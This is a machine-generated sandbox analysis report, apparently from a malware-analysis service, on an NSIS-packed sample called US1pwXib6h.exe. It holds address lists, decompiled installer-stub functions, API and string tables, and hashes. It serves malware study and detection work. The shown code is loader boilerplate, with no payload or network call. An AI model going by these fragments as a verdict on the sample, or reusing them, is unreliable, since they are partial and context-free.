0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00000000
0x00406611
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00000000
0x00406784
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00000000
0x004065d9
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction ID: ffbedf2a53f09e030cb941e21afd419a8c3069ec791793070072d3341ca218b9
Opcode Fuzzy Hash: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction Fuzzy Hash: 17F16571D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405CFF, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CFF(signed int _a4) {
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				signed int _t9;

				_t9 = _a4 << 3;
				_t7 =  *(_t9 + 0x409200);
				_t5 = GetModuleHandleA(_t7);
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t9 + 0x409204));
				}
				_t5 = LoadLibraryA(_t7); // executed
				if(_t5 != 0) {
					goto L2;
				}
				return _t5;
			}

0x00405d07
0x00405d0a
0x00405d11
0x00405d19
0x00405d26
0x00000000
0x00405d2d
0x00405d1c
0x00405d24
0x00000000
0x00000000
0x00405d35

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction ID: d69b72dbe4010a9b48e4a262f362438d38f190b8a9031efe6831075815a54aa0
Opcode Fuzzy Hash: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction Fuzzy Hash: 5DE08C32A04610BBD3215B20AE0896B73A8EED9B403004C7EF615F6251D734AC11DBBA

Uniqueness

Uniqueness Score: -1.00%

Function 00405CD8, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CD8(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x4224c8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4224c8;
			}

0x00405ce3
0x00405cec
0x00000000
0x00405cf9
0x00405cef
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,004224C8,00421880,004055F4,00421880,00421880,00000000,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 00405CE3
FindClose.KERNEL32(00000000), ref: 00405CEF

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction ID: 9a18407f5d3c0b203e51d924b64f4f6f4a008a27543408caa796c3d3b713bef8
Opcode Fuzzy Hash: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction Fuzzy Hash: 91D0C93594D620ABD6012728AD0884B6A589B153317508B32F46AE22E0C7748C529AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403526, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00403526() {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				signed int _t24;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t39;
				int _t42;
				intOrPtr _t60;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t86;

				_t81 =  *0x423e90; // 0x7afb48
				_t20 = E00405CFF(6);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x420478;
					"1033" = 0x7830;
					E004058C4(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420478, 0);
					__eflags =  *0x420478;
					if(__eflags == 0) {
						E004058C4(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407302, 0x420478, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					E0040593B("1033",  *_t20() & 0x0000ffff);
				}
				E004037EF(_t76, _t88);
				_t24 =  *0x423e98; // 0xa1
				_t85 = "C:\\Users\\engineer\\AppData\\Local\\Temp";
				 *0x423f00 = _t24 & 0x00000020;
				 *0x423f1c = 0x10000;
				if(E004055B1(_t88, "C:\\Users\\engineer\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E004055B1(_t96, _t85) == 0) {
						E004059FF(0, _t79, _t81, _t85,  *((intOrPtr*)(_t81 + 0x118)));
					}
					_t28 = LoadImageA( *0x423e80, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423668 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E004037EF(_t76, __eflags);
							__eflags =  *0x423f20; // 0x0
							if(__eflags != 0) {
								_t31 = E00404E4D(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42364c; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420450, 5);
							_t37 = LoadLibraryA("RichEd20");
							__eflags = _t37;
							if(_t37 == 0) {
								LoadLibraryA("RichEd32");
							}
							_t86 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t86, 0x423620);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423620);
								 *0x423644 = _t86;
								RegisterClassA(0x423620);
							}
							_t39 =  *0x423660; // 0x0
							_t42 = DialogBoxParamA( *0x423e80, _t39 + 0x00000069 & 0x0000ffff, 0, E004038BC, 0);
							E00403476(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x423e80; // 0x400000
						 *0x423634 = _t28;
						_v20 = 0x624e5f;
						 *0x423624 = E00401000;
						 *0x423630 = _t76;
						 *0x423644 =  &_v20;
						if(RegisterClassA(0x423620) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420450 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423e80, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t60 =  *0x423eb8; // 0x7b5ac4
					_t79 = 0x422e20;
					E004058C4( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) + _t60, 0x422e20, 0);
					_t62 =  *0x422e20; // 0x43
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x422e21;
						 *((char*)(E004054FB(0x422e21, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E004059DD(_t85, E004054D0(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E00405517(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x0040352c
0x00403535
0x0040353c
0x0040353e
0x00403552
0x00403564
0x0040356e
0x00403573
0x00403579
0x0040358c
0x0040358c
0x00403597
0x00403540
0x0040354b
0x0040354b
0x0040359c
0x004035a1
0x004035a6
0x004035af
0x004035b4
0x004035c5
0x0040364c
0x00403654
0x0040365d
0x0040365d
0x00403673
0x00403679
0x00403687
0x00403716
0x0040371e
0x00403728
0x0040372d
0x00403733
0x004037bd
0x004037c2
0x004037c4
0x004037e0
0x00000000
0x004037e0
0x004037c6
0x004037cc
0x004037d4
0x004037d4
0x00000000
0x004037cc
0x00403741
0x00403752
0x00403754
0x00403756
0x0040375d
0x0040375d
0x00403765
0x0040376d
0x0040376f
0x00403771
0x0040377a
0x0040377d
0x00403783
0x00403783
0x00403789
0x004037a2
0x004037b3
0x00000000
0x004037b8
0x00403720
0x00403722
0x00000000
0x0040368d
0x0040368d
0x00403693
0x0040369d
0x004036a5
0x004036af
0x004036b5
0x004036c3
0x004037e5
0x004037e5
0x00000000
0x004037e5
0x004036c9
0x004036d2
0x00403711
0x00000000
0x00403711
0x004035cb
0x004035cb
0x004035d0
0x00000000
0x00000000
0x004035d5
0x004035da
0x004035ea
0x004035ef
0x004035f6
0x00000000
0x00000000
0x004035fa
0x004035fc
0x00403609
0x00403609
0x00403611
0x00403617
0x0040363f
0x00403647
0x00000000
0x00403629
0x0040362a
0x00403633
0x00403639
0x0040363a
0x00000000
0x0040363a
0x00403635
0x00403637
0x00000000
0x00000000
0x00000000
0x00403637
0x00403617

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

lstrcatA.KERNEL32(1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403597
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\Desktop\US1pwXib6h.exe" ), ref: 0040360C
lstrcmpiA.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000), ref: 0040361F
GetFileAttributesA.KERNEL32(Call), ref: 0040362A
LoadImageA.USER32 ref: 00403673

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

RegisterClassA.USER32 ref: 004036BA
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 004036D2
CreateWindowExA.USER32 ref: 0040370B
ShowWindow.USER32(00000005,00000000), ref: 00403741
LoadLibraryA.KERNEL32(RichEd20), ref: 00403752
LoadLibraryA.KERNEL32(RichEd32), ref: 0040375D
GetClassInfoA.USER32 ref: 0040376D
GetClassInfoA.USER32 ref: 0040377A
RegisterClassA.USER32 ref: 00403783
DialogBoxParamA.USER32 ref: 004037A2

Strings

RichEdit, xrefs: 00403774
RichEdit20A, xrefs: 00403765, 0040376B
6B, xrefs: 00403682
.exe, xrefs: 00403619
1033, xrefs: 00403546, 00403592
_Nb, xrefs: 004036C9, 004036CE
Call, xrefs: 004035DA, 004035E2, 004035EF, 00403639, 0040363F
RichEd20, xrefs: 0040374D
RichEd32, xrefs: 00403758
Control Panel\Desktop\ResourceLocale, xrefs: 0040355A
C:\Users\user\AppData\Local\Temp\, xrefs: 0040352A
C:\Users\user\AppData\Local\Temp, xrefs: 004035A6, 004035AE, 00403646, 0040364C, 0040365C
.DEFAULT\Control Panel\International, xrefs: 00403582
"C:\Users\user\Desktop\US1pwXib6h.exe" , xrefs: 00403532

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: 6B$"C:\Users\user\Desktop\US1pwXib6h.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-3501820240
Opcode ID: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction ID: 0f3f48bff709b167bb3a38cee6451da723a784a17f6d38f49bc0c0f1e25ee8dd
Opcode Fuzzy Hash: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction Fuzzy Hash: 9261C5B1A04200BAD6206F659C45E3B3A6DE74474AF40453FF941B62E1D67D9E028B3E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C22, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00402C22(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				signed int _t54;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\engineer\\Desktop\\US1pwXib6h.exe";
				 *0x423e8c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\engineer\\Desktop\\US1pwXib6h.exe", 0x400);
				_t89 = E004056B4(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409014 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\engineer\\Desktop";
				E004059DD("C:\\Users\\engineer\\Desktop", _t91);
				E004059DD(0x42b000, E00405517(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x41f028 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402BBE(1);
					__eflags =  *0x423e94 - _t82; // 0x8200
					if(__eflags == 0) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						_t54 =  *0x423e94; // 0x8200
						E00403080(_t54 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E5B(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x423e90 = _t94;
							 *0x423e98 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x423e9c =  *0x423e9c + 1;
								__eflags =  *0x423e9c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405675(0x423ea0, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E00403080( *0x40b018);
					_t65 = E0040304E( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t67 =  *0x423e94; // 0x8200
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~_t67 & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E0040304E(0x417028, _t90); // executed
						__eflags = _t71;
						if(_t71 == 0) {
							E00402BBE(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x423e94;
						if( *0x423e94 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402BBE(0);
							}
							goto L20;
						}
						E00405675( &_v44, 0x417028, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x40b018; // 0x8200
						 *0x423f20 =  *0x423f20 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x423e94 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x40915c
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x41f028;
						if(_t93 <  *0x41f028) {
							_v12 = E00405D6B(_v12, 0x417028, _t90);
						}
						 *0x40b018 =  *0x40b018 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402c2a
0x00402c2d
0x00402c30
0x00402c33
0x00402c39
0x00402c4a
0x00402c4f
0x00402c62
0x00402c67
0x00402c6a
0x00402c70
0x00000000
0x00402c72
0x00402c7d
0x00402c83
0x00402c94
0x00402c9b
0x00402ca1
0x00402ca3
0x00402ca8
0x00402caa
0x00402d97
0x00402d99
0x00402d9e
0x00402da5
0x00000000
0x00000000
0x00402da7
0x00402daa
0x00402dce
0x00402dd3
0x00402dd9
0x00402ddb
0x00402de4
0x00402de9
0x00402dec
0x00402ded
0x00402dee
0x00402df0
0x00402df5
0x00402df8
0x00402e0b
0x00402e0f
0x00402e17
0x00402e1c
0x00402e1e
0x00402e1e
0x00402e1e
0x00402e26
0x00402e26
0x00402e29
0x00402e2a
0x00402e2a
0x00402e2d
0x00402e2f
0x00402e2f
0x00402e2f
0x00402e39
0x00402e3f
0x00402e4d
0x00402e52
0x00000000
0x00402e52
0x00000000
0x00402df8
0x00402db2
0x00402dbd
0x00402dc2
0x00402dc4
0x00000000
0x00000000
0x00402dc9
0x00402dcc
0x00000000
0x00000000
0x00000000
0x00402cb0
0x00402cb5
0x00402cb5
0x00402cba
0x00402cbe
0x00402cc5
0x00402cca
0x00402ccc
0x00402cce
0x00402cce
0x00402cd2
0x00402cd7
0x00402cd9
0x00402e03
0x00402dfa
0x00000000
0x00402dfa
0x00402cdf
0x00402ce6
0x00402d62
0x00402d66
0x00402d6a
0x00402d6f
0x00000000
0x00402d66
0x00402cef
0x00402cf4
0x00402cf7
0x00402cfc
0x00000000
0x00000000
0x00402cfe
0x00402d05
0x00000000
0x00000000
0x00402d07
0x00402d0e
0x00000000
0x00000000
0x00402d10
0x00402d17
0x00000000
0x00000000
0x00402d19
0x00402d20
0x00000000
0x00000000
0x00402d22
0x00402d28
0x00402d31
0x00402d37
0x00402d3a
0x00402d3c
0x00402d42
0x00000000
0x00000000
0x00402d48
0x00402d4c
0x00402d54
0x00402d54
0x00402d57
0x00402d57
0x00402d5a
0x00402d5c
0x00402d5e
0x00402d5e
0x00000000
0x00402d5c
0x00402d4e
0x00402d52
0x00000000
0x00000000
0x00000000
0x00402d70
0x00402d70
0x00402d76
0x00402d82
0x00402d82
0x00402d85
0x00402d8b
0x00402d8d
0x00402d8d
0x00402d95
0x00402d95
0x00000000
0x00402d95

APIs

GetTickCount.KERNEL32 ref: 00402C33
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\US1pwXib6h.exe,00000400), ref: 00402C4F

Part of subcall function 004056B4: GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\Desktop\US1pwXib6h.exe,80000000,00000003), ref: 004056B8
Part of subcall function 004056B4: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\US1pwXib6h.exe,C:\Users\user\Desktop\US1pwXib6h.exe,80000000,00000003), ref: 00402C9B

Strings

C:\Users\user\Desktop, xrefs: 00402C7D, 00402C82, 00402C88
Error launching installer, xrefs: 00402C72
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C22
C:\Users\user\Desktop\US1pwXib6h.exe, xrefs: 00402C39, 00402C48, 00402C5C, 00402C7C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402DFA
(pA, xrefs: 00402CB0
soft, xrefs: 00402D10
Null, xrefs: 00402D19
Inst, xrefs: 00402D07
"C:\Users\user\Desktop\US1pwXib6h.exe" , xrefs: 00402C2C

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
